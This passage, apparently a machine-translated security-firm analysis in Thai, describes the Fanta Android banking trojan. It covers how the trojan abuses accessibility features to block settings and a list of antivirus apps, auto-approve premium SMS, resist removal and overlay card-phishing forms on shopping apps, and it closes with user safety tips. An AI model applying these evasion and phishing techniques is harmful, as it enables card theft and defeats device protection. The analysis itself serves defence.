การโต้ตอบกับบริการการเข้าถึง

AccessibilityService ได้รับการปรับใช้เพื่อทำให้อุปกรณ์ Android ใช้งานได้ง่ายขึ้นสำหรับผู้พิการ ในกรณีส่วนใหญ่ จำเป็นต้องมีการโต้ตอบทางกายภาพเพื่อโต้ตอบกับแอปพลิเคชัน AccessibilityService ช่วยให้คุณดำเนินการได้โดยทางโปรแกรม แฟนต้าใช้บริการเพื่อสร้างหน้าต่างปลอมในแอปพลิเคชันธนาคาร และป้องกันไม่ให้ผู้ใช้เปิดการตั้งค่าระบบและบางแอปพลิเคชัน

การใช้ฟังก์ชันการทำงานของ AccessibilityService โทรจันจะตรวจสอบการเปลี่ยนแปลงองค์ประกอบบนหน้าจอของอุปกรณ์ที่ติดไวรัส ตามที่อธิบายไว้ก่อนหน้านี้ การตั้งค่า Fanta มีพารามิเตอร์ที่รับผิดชอบในการบันทึกการดำเนินการด้วยกล่องโต้ตอบ - อ่านกล่องโต้ตอบ. หากตั้งค่าพารามิเตอร์นี้ ข้อมูลเกี่ยวกับชื่อและคำอธิบายของแพ็คเกจที่ทำให้เกิดเหตุการณ์จะถูกเพิ่มลงในฐานข้อมูล โทรจันจะดำเนินการต่อไปนี้เมื่อมีเหตุการณ์เกิดขึ้น:

  • จำลองการกดปุ่มย้อนกลับและปุ่มโฮมในกรณีต่อไปนี้:
    · หากผู้ใช้ต้องการรีบูทอุปกรณ์ของเขา
    · หากผู้ใช้ต้องการลบแอปพลิเคชัน Avito หรือเปลี่ยนสิทธิ์การเข้าถึง
    · หากมีการกล่าวถึงแอปพลิเคชั่น “Avito” ในหน้าเพจ
    · เมื่อเปิดแอปพลิเคชัน Google Play Protect
    · เมื่อเปิดเพจด้วยการตั้งค่า AccessibilityService
    · เมื่อกล่องโต้ตอบความปลอดภัยของระบบปรากฏขึ้น
    · เมื่อเปิดหน้าด้วยการตั้งค่า “วาดทับแอพอื่น”
    · เมื่อเปิดหน้า "แอปพลิเคชัน", "การกู้คืนและรีเซ็ต", "รีเซ็ตข้อมูล", "รีเซ็ตการตั้งค่า", "แผงนักพัฒนา", "พิเศษ โอกาส”, “โอกาสพิเศษ”, “สิทธิพิเศษ”
    · หากกิจกรรมถูกสร้างขึ้นโดยแอปพลิเคชันบางตัว

    รายการแอปพลิเคชัน

    • หุ่นยนต์
    • มาสเตอร์ไลท์
    • ทำความสะอาดปริญญาโท
    • ทำความสะอาด Master สำหรับซีพียู x86
    • การจัดการสิทธิ์แอปพลิเคชัน Meizu
    • ความปลอดภัยของ MIUI
    • Clean Master - แอนติไวรัส & แคชและตัวล้างขยะ
    • การควบคุมโดยผู้ปกครองและ GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock และความปลอดภัยบนเว็บเบต้า
    • โปรแกรมกำจัดไวรัส, แอนตี้ไวรัส, ตัวล้าง (ความปลอดภัยสูงสุด)
    • โปรแกรมป้องกันไวรัสบนมือถือ PRO
    • โปรแกรมป้องกันไวรัส Avast และการป้องกันฟรี 2019
    • การรักษาความปลอดภัยมือถือ MegaFon
    • การป้องกัน AVG สำหรับ Xperia
    • การรักษาความปลอดภัยมือถือ
    • Malwarebytes แอนตี้ไวรัสและการป้องกัน
    • แอนติไวรัสสำหรับ Android 2019
    • ผู้เชี่ยวชาญด้านความปลอดภัย - แอนตี้ไวรัส, VPN, AppLock, บูสเตอร์
    • โปรแกรมป้องกันไวรัส AVG สำหรับตัวจัดการระบบแท็บเล็ต Huawei
    • การเข้าถึงของซัมซุง
    • ซัมซุงสมาร์ทเมเนเจอร์
    • ผู้เชี่ยวชาญด้านความปลอดภัย
    • เร่งความเร็ว
    • ดร. เว็บ
    • Dr. Web Security Space
    • Dr.Web ศูนย์ควบคุมมือถือ
    • Dr.Web Security สเปซไลฟ์
    • Dr.Web ศูนย์ควบคุมมือถือ
    • แอนตี้ไวรัสและความปลอดภัยบนมือถือ
    • Kaspersky Internet Security: การป้องกันไวรัสและการป้องกัน
    • อายุการใช้งานแบตเตอรี่ Kaspersky: Saver & Booster
    • Kaspersky Endpoint Security - การป้องกันและการจัดการ
    • AVG Antivirus ฟรี 2019 – การป้องกันสำหรับ Android
    • ป้องกันไวรัส Android
    • Norton Mobile Security และ Antivirus
    • แอนตี้ไวรัส, ไฟร์วอลล์, VPN, ความปลอดภัยบนมือถือ
    • ความปลอดภัยบนมือถือ: โปรแกรมป้องกันไวรัส, VPN, การป้องกันการโจรกรรม
    • โปรแกรมป้องกันไวรัสสำหรับ Android

  • หากมีการขออนุญาตเมื่อส่งข้อความ SMS ไปยังหมายเลขสั้นๆ แฟนต้าจะจำลองการคลิกที่ช่องทำเครื่องหมาย จำทางเลือก และปุ่ม ที่จะส่ง.
  • เมื่อคุณพยายามที่จะเอาสิทธิ์ของผู้ดูแลระบบออกจากโทรจัน มันจะล็อคหน้าจอโทรศัพท์
  • ป้องกันการเพิ่มผู้ดูแลระบบใหม่
  • หากเป็นโปรแกรมป้องกันไวรัส ดร.เว็บ ตรวจพบภัยคุกคาม แฟนต้า เลียนแบบการกดปุ่ม ไม่สนใจ.
  • โทรจันจำลองการกดปุ่มย้อนกลับและปุ่มโฮมหากแอปพลิเคชันสร้างเหตุการณ์ การดูแลอุปกรณ์ซัมซุง.
  • Fanta สร้างหน้าต่างฟิชชิ่งพร้อมแบบฟอร์มสำหรับการป้อนข้อมูลเกี่ยวกับบัตรธนาคาร หากมีการเปิดตัวแอปพลิเคชันจากรายการบริการอินเทอร์เน็ตที่แตกต่างกันประมาณ 30 รายการ ในหมู่พวกเขา: AliExpress, การจอง, Avito, ส่วนประกอบตลาด Google Play, Pandao, Drom Auto ฯลฯ

    แบบฟอร์มฟิชชิ่ง

    แฟนต้าวิเคราะห์ว่าแอปพลิเคชั่นใดที่ทำงานบนอุปกรณ์ที่ติดไวรัส หากมีการเปิดแอปพลิเคชันที่สนใจ โทรจันจะแสดงหน้าต่างฟิชชิ่งที่ด้านบนของหน้าต่างอื่นๆ ทั้งหมด ซึ่งเป็นแบบฟอร์มสำหรับการป้อนข้อมูลบัตรธนาคาร ผู้ใช้จะต้องป้อนข้อมูลต่อไปนี้:

    • หมายเลขบัตร
    • วันหมดอายุของบัตร
    • CVV
    • ชื่อผู้ถือบัตร (ไม่ใช่สำหรับทุกธนาคาร)

    หน้าต่างฟิชชิ่งต่างๆ จะปรากฏขึ้น ทั้งนี้ขึ้นอยู่กับแอปพลิเคชันที่ทำงานอยู่ ด้านล่างนี้เป็นตัวอย่างบางส่วน:

    AliExpress:

    Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า
    อาวีโต้:

    Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า
    สำหรับการใช้งานอื่นๆ เช่น Google Play Market, Aviasales, Pandao, การจอง, Trivago:
    Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า

    มันเป็นอย่างไรจริงๆ

    โชคดีที่ผู้ที่ได้รับข้อความ SMS ที่อธิบายไว้ตอนต้นของบทความกลายเป็นผู้เชี่ยวชาญด้านความปลอดภัยทางไซเบอร์ ดังนั้นเวอร์ชันจริงที่ไม่ใช่ของผู้กำกับจึงแตกต่างจากเวอร์ชันที่บอกไว้ก่อนหน้านี้: บุคคลหนึ่งได้รับ SMS ที่น่าสนใจ หลังจากนั้นเขาก็มอบให้กับทีมข่าวกรองการตามล่าภัยคุกคาม Group-IB ผลลัพธ์ของการโจมตีคือบทความนี้ จบแบบแฮปปี้ใช่ไหม? อย่างไรก็ตาม ไม่ใช่ว่าเรื่องราวทั้งหมดจะจบลงอย่างประสบความสำเร็จ และเพื่อที่คุณจะได้ไม่ดูเหมือนเป็นผู้กำกับที่เสียเงินไป ในกรณีส่วนใหญ่ ก็เพียงพอที่จะปฏิบัติตามกฎที่อธิบายไว้อย่างยาวนานต่อไปนี้:

    • อย่าติดตั้งแอปพลิเคชันสำหรับอุปกรณ์มือถือที่มีระบบปฏิบัติการ Android จากแหล่งอื่นนอกเหนือจาก Google Play
    • เมื่อติดตั้งแอปพลิเคชัน ให้ใส่ใจเป็นพิเศษกับสิทธิ์ที่แอปพลิเคชันร้องขอ
    • ให้ความสนใจกับนามสกุลของไฟล์ที่ดาวน์โหลด
    • ติดตั้งการอัปเดตระบบปฏิบัติการ Android เป็นประจำ
    • อย่าเยี่ยมชมแหล่งข้อมูลที่น่าสงสัยและอย่าดาวน์โหลดไฟล์จากที่นั่น
    • อย่าคลิกลิงก์ที่ได้รับในข้อความ SMS

ที่มา: will.com

เพิ่มความคิดเห็น